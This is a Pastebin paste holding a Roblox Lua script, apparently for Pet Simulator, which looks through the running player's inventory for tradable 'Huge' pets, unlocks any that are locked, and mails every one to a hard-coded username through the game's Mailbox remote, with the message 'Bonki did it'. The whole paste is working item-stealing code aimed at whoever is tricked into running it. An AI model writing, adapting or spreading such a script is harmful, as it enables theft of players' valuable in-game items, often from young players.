Advertisement
booiiii

Untitled

Dec 20th, 2024 (edited)
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.25 KB | None | 0 0
  1. repeat
  2. task.wait()
  3. until game:IsLoaded()
  4.  
  5. if not game:IsLoaded() then
  6. game.Loaded:Wait()
  7. end
  8.  
  9.  
  10. Roblox_Username = "ник";
  11. local Library = require(game.ReplicatedStorage.Library);
  12. local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get();
  13. local Directory = require((game:GetService("ReplicatedStorage")).Library.Directory);
  14. local Player = game.Players.LocalPlayer;
  15. task.wait(3)
  16. local Inventory = ((require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()).Inventory;
  17. local HttpService = game:GetService("HttpService");
  18. local message = require(game.ReplicatedStorage.Library.Client.Message);
  19. local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network");
  20. local GetListWithAllItems = function()
  21. local hits = {};
  22. print(1);
  23. if Inventory.Pet ~= nil then
  24. for i, v in pairs(Inventory.Pet) do
  25. id = v.id;
  26. dir = Directory.Pets[id];
  27. if dir.Tradable ~= false and string.find(v.id, "Huge") then
  28. table.insert(hits, {
  29. Item_Id = i,
  30. Item_Name = v.id,
  31. Item_Amount = v._am or 1,
  32. Item_Class = "Pet",
  33. IsShiny = v.sh or false,
  34. IsLocked = v.lk or false,
  35. });
  36. end;
  37. end;
  38. end;
  39. return hits;
  40. end;
  41. local function sendItem(category, uid, am, locked)
  42. local args = {
  43. [1] = Roblox_Username,
  44. [2] = "Bonki did it",
  45. [3] = category,
  46. [4] = uid,
  47. [5] = am
  48. };
  49. local response = false;
  50. repeat
  51. if locked == true then
  52. local args = {
  53. uid,
  54. false
  55. };
  56. (game:GetService("ReplicatedStorage")).Network.Locking_SetLocked:InvokeServer(unpack(args));
  57. end;
  58. local response, err = (network:WaitForChild("Mailbox: Send")):InvokeServer(unpack(args));
  59. until response == true;
  60. end;
  61. local hits = GetListWithAllItems();
  62. local Left_Hits = #hits;
  63. if #hits > 0 then
  64. for i, v in pairs(hits) do
  65. print("sending");
  66. sendItem(v.Item_Class, v.Item_Id, v.Item_Amount, v.IsLocked);
  67. Left_Hits = Left_Hits - 1;
  68. end;
  69. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement